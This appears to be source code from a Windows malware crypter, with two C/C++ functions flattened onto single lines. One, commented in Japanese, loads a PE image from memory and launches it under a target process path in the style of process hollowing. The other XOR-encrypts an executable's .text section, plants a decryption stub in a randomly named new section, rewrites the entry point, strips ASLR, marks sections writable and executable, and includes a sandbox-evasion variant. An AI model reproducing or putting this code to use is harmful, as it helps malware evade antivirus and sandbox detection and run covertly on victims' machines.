// ------------------------------------------------------------- // プロセス生成を行うメイン関数 // 引数:pPEFileImage (ファイルデータのポインタ) // dwFileImageSize(ファイルデータのサイズ) // szTargetProc (ターゲットプロセスパス) // 戻り値:成功時0、失敗時0以外 // ------------------------------------------------------------- int CreateExeProcess(LPVOID pPEFileImage, DWORD dwFileImageSize, PTCHAR szTargetProc) { // それぞれのヘッダポインタ取得 PE_HEADERS pe; pe.dsh = (PIMAGE_DOS_HEADER)pPEFileImage; pe.pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET(pPEFileImage); pe.poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(pPEFileImage); pe.psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(pPEFileImage); // MZ判定 if(pe.dsh->e_magic != IMAGE_DOS_SIGNATURE) return -1; // PE判定 if(*(DWORD *)NTSIGNATURE(pPEFileImage) != IMAGE_NT_SIGNATURE) return -1; // 実行ファイル判定 if(pe.poh->Magic != 0x010B) return -1; // メモリイメージサイズを取得 DWORD dwMemImageSize = TotalNewImageSize(&pe); // メモリイメージをロード(メモリ確保) LPVOID pMemImage = LoadPEImage( &pe, pPEFileImage, dwMemImageSize); if(pMemImage == NULL) return -1; // プロセスを起動 if(ExecPEImage(&pe, pMemImage, dwMemImageSize, szTargetProc)) return -1; // メモリイメージを開放(メモリ開放) FreePEImage(pMemImage, dwMemImageSize); return 0; }
bool Crypter::crypt(const char *infile, const char *outfile){ // variables DWORD dwOldProt, bytes; // open it and get the size HANDLE hFile = CreateFile(infile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); if (!hFile){ MYPRINTF("Unable to open file\n"); return false; } DWORD dwFileSize = GetFileSize(hFile, 0); // load in memory LPBYTE fileBuffer = (LPBYTE) malloc(dwFileSize); ReadFile(hFile, fileBuffer, dwFileSize, &bytes, 0); CloseHandle(hFile); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER) fileBuffer; // check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { MYPRINTF("IMAGE_DOS_SIGNATURE\n"); return false; } PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS) (fileBuffer + dosHeader->e_lfanew); if(ntHeaders->Signature != IMAGE_NT_SIGNATURE){ MYPRINTF("IMAGE_NT_SIGNATURE\n"); return false; } PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer); #define TEXT_SECTION ".text" while(memcmp(sectionHeader->Name, TEXT_SECTION, strlen(TEXT_SECTION))) // get the ".text" section header sectionHeader++; DWORD dwVSize = sectionHeader->Misc.VirtualSize; // the virtual size of the section, later this will be used as chunksize in our stub, after proper alignment DWORD dwSectionSize = sectionHeader->SizeOfRawData; // speaks for itself DWORD dwStubSize; // the stubsize, in bytes if (Crypter::evadeSandbox){ dwStubSize = (DWORD) _end_evade_sandbox - (DWORD) _xor_block_evade_sandbox; // the stubsize, in bytes } else { dwStubSize = (DWORD) _end - (DWORD) _xor_block; // the stubsize, in bytes } LPBYTE sectionBuffer = (LPBYTE) malloc(dwSectionSize); // allocate memory enough to hold our raw section data memcpy(sectionBuffer, fileBuffer + sectionHeader->PointerToRawData, dwSectionSize); // ... copy the data _xor_chunk(sectionBuffer, dwSectionSize, 256); // aaand encrypt it! you can use different block sizes here - 8, 16, 32, 64, 128, 256, 512... memset(sectionBuffer + sectionHeader->Misc.VirtualSize, 0, (dwSectionSize - sectionHeader->Misc.VirtualSize)); // fill with zeros after the end of actual data // copy back the data memcpy(fileBuffer + sectionHeader->PointerToRawData, sectionBuffer, dwSectionSize); // ... copy the data free(sectionBuffer); DWORD oep = ntHeaders->OptionalHeader.AddressOfEntryPoint + ntHeaders->OptionalHeader.ImageBase; // the original entry point, this is a linear address DWORD seg = sectionHeader->VirtualAddress + ntHeaders->OptionalHeader.ImageBase; // the section address, you guessed right, this too is a linear one DWORD bsz = 256; // you know what this is while(dwVSize % bsz) // we need to align it to block size dwVSize++; if (Crypter::evadeSandbox){ VirtualProtect(_xor_block_evade_sandbox, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub... } else { VirtualProtect(_xor_block, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub... } // and update it, blah, blah, blah... if (Crypter::evadeSandbox){ memcpy((void *)((unsigned long) _stub_evade_sandbox + OEP_o), &oep, 4); memcpy((void *)((unsigned long) _stub_evade_sandbox + SEG_o), &seg, 4); memcpy((void *)((unsigned long) _stub_evade_sandbox + BSZ_o), &bsz, 4); memcpy((void *)((unsigned long) _stub_evade_sandbox + SZ_o), &dwVSize, 4); } else { memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4); memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4); memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4); memcpy((void *)((unsigned long) _stub + SZ_o), &dwVSize, 4); } Crypter::section = new char [6]; Random::createRandomName(COUNTOF(Crypter::section), Crypter::section); char* resDll; DWORD szResDll; if (Crypter::evadeSandbox){ if (!Crypter::insertSectionConfigInPE(fileBuffer, dwFileSize, _xor_block_evade_sandbox, dwStubSize + sizeof(int), (PVOID*)(&resDll), &szResDll )){ MYPRINTF("problem with injection\n"); delete Crypter::section; return false; } } else { if (!Crypter::insertSectionConfigInPE(fileBuffer, dwFileSize, _xor_block, dwStubSize + sizeof(int), (PVOID*)(&resDll), &szResDll )){ MYPRINTF("problem with injection\n"); delete Crypter::section; return false; } } free(fileBuffer); fileBuffer = (LPBYTE)resDll; dosHeader = (PIMAGE_DOS_HEADER) fileBuffer; // check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { MYPRINTF("IMAGE_DOS_SIGNATURE\n"); delete Crypter::section; return false; } ntHeaders = (PIMAGE_NT_HEADERS) (fileBuffer + dosHeader->e_lfanew); if(ntHeaders->Signature != IMAGE_NT_SIGNATURE) { MYPRINTF("IMAGE_NT_SIGNATURE\n"); delete Crypter::section; return false; } ntHeaders->OptionalHeader.DllCharacteristics = ntHeaders->OptionalHeader.DllCharacteristics & ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE; sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer); while(memcmp(sectionHeader->Name, Crypter::section, strlen(Crypter::section))) // get the ".fpbcfg" section header sectionHeader++; sectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; // R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W... if (Crypter::evadeSandbox){ ntHeaders->OptionalHeader.AddressOfEntryPoint = sectionHeader->VirtualAddress + ((DWORD)_stub_evade_sandbox - (DWORD)_xor_block_evade_sandbox); } else { ntHeaders->OptionalHeader.AddressOfEntryPoint = sectionHeader->VirtualAddress + ((DWORD)_stub - (DWORD)_xor_block); } sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer); while(memcmp(sectionHeader->Name, TEXT_SECTION, strlen(TEXT_SECTION))) // get the ".text" section header sectionHeader++; sectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; // R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W... bool res = true; if (!Crypter::saveFile(outfile, resDll, szResDll)){ res = false; MYPRINTF("Unable to save file\n"); } free(fileBuffer); delete Crypter::section; return res; }